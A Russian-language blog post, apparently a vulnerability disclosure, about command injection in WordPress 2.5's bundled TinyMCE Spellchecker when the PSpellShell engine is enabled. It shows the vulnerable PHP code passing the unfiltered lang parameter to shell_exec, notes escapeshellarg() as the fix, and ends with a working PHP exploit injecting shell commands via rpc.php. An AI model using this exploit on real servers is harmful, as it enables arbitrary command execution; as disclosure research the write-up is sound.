Найдена уязвимость в модуле TinyMCE для проверки орфографии – Spellchecker. Данный модуль вместе с самим TinyMCE используется в последних версиях WordPress (ветка 2.5.*), однако эта уязвимость не является полноценной, так как встретить ее на реальном сервере в сети вряд ли можно. Несмотря на это, уязвимость, действительно, серьезная, так как она позволяет выполнить произвольные команды, поэтому я все же решил рассказать, как я ее нашел и что она из себя представляет (эксплоит прилагается).
Итак, любой скрипт, реализующий проверку орфографии, в контексте основной системы предполагает взаимодействие с ней методом RPC (Remote Procedure Call), т.е. удаленное выполнение процедур. В данном случае Spellchecker не является исключением. С точки зрения безопасности, скрипты, выполняющиеся посредством RPC, представляют собой большую угрозу, так как позволяют выполнить любой свой метод. Чтобы не быть голословным, приведу пример: в прошлом году некий Slappter обнаружил SQL-инъекцию в XMLRPC-интерфейсе WordPress’а, а именно в методе wp_suggestCategories, который мог быть вызван по запросу пользователя. Так вот, передав специально составленный SQL-код в этот метод, можно было осуществить полноценный инъект.
Для багоискателей RPC-интерфейсы являются бесценным источником возможных уязвимостей, так как обнаружить их в основном коде, в случае веб-приложений, считающихся безопасными, довольно сложно. Например, если была найдена уязвимость в какой-нибудь функции, которая может быть запущена только при админских правах, то такой баг не будет представлять большого интереса. Как уже было сказано, RPC-интерфейсы позволяют выполнить любой метод – именно это обстоятельство помогло при обнаружении баги.
Теории достаточно – переходим к практике. Основной скрипт rpc.php принимает данные в JSON-формате, так как он запускается AJAX’ом. Ниже следует пример RPC-запроса к Spellchecker’у:
PUT /wp25/wp-includes/js/tinymce/plugins/spellchecker/rpc.php HTTP/1.1 Host: localhost Content-length: 81 Connection: close {"method":"checkWords","params":["en",["some","phrase","to","check","spelling"]]}
Если вам не знаком синтаксис JSON-массивов, то советую с ним ознакомиться.
Результат возвращается также в JSON-формате. Spellchecker предоставляет возможность проверки орфографии тремя способами:
- с помощью сервиса Google
- с помощью PHP-расширения PSpell
- с помощью внешней утилиты pspell
Самое время сказать, почему же реализовать данную уязвимость на реальных серверах не получится. Дело в том, что по умолчанию Spellchecker использует первый вариант, и изменить его даже из админ-панели WordPress нельзя. Уязвимость находится в вызове утилиты pspell, т.е. в третьем способе. Чтобы вручную изменить способ проверки, необходимо отредактировать config.php таким образом:
<?php // General settings //$config['general.engine'] = 'GoogleSpell'; //$config['general.engine'] = 'PSpell'; $config['general.engine'] = 'PSpellShell'; // PSpell settings $config['PSpell.mode'] = PSPELL_FAST; $config['PSpell.spelling'] = ""; $config['PSpell.jargon'] = ""; $config['PSpell.encoding'] = ""; // PSpellShell settings $config['PSpellShell.mode'] = PSPELL_FAST; $config['PSpellShell.aspell'] = '/usr/bin/aspell'; $config['PSpellShell.tmp'] = '/tmp'; // Windows PSpellShell settings //$config['PSpellShell.aspell'] = '"c:\Program Files\Aspell\bin\aspell.exe"'; //$config['PSpellShell.tmp'] = 'c:/temp'; ?>
Теперь собственно уязвимость (classes/PSpellShell.php@59-74,103-111):
<?php function &getSuggestions($lang, $word) { $cmd = $this->_getCMD($lang); /**/ $data = shell_exec($cmd); /**/ } function _getCMD($lang) { $this->_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell"); if(preg_match("#win#i", php_uname())) return $this->_config['PSpellShell.aspell'] . " -a --lang=". $lang . " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1"; return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell'] . " -a --encoding=utf-8 -H --lang=". $lang; } ?>
Как видим, входящие параметры не фильтруются, именно это и позволяет выполнить любые команды, внедрив их в переменную lang. Защититься от подобных атак очень легко, учитывая, что в php есть специальные функции escapeshellarg() и escapeshellcmd()
Код эксплоита
<?php $url = 'http://localhost/wp25/wp-includes/js/tinymce/plugins/spellchecker/rpc.php'; $cmd = 'ls -la'; $data = urlencode('{"method":"getSuggestions","params":["en; $cmd",["foo"]]}'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_PUT, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10); curl_setopt($ch, CURLOPT_PORT, 80); $resp = curl_exec($ch); curl_close($ch); echo "<pre>"; print_r($resp); echo "</pre>"; ?>
Leave a Reply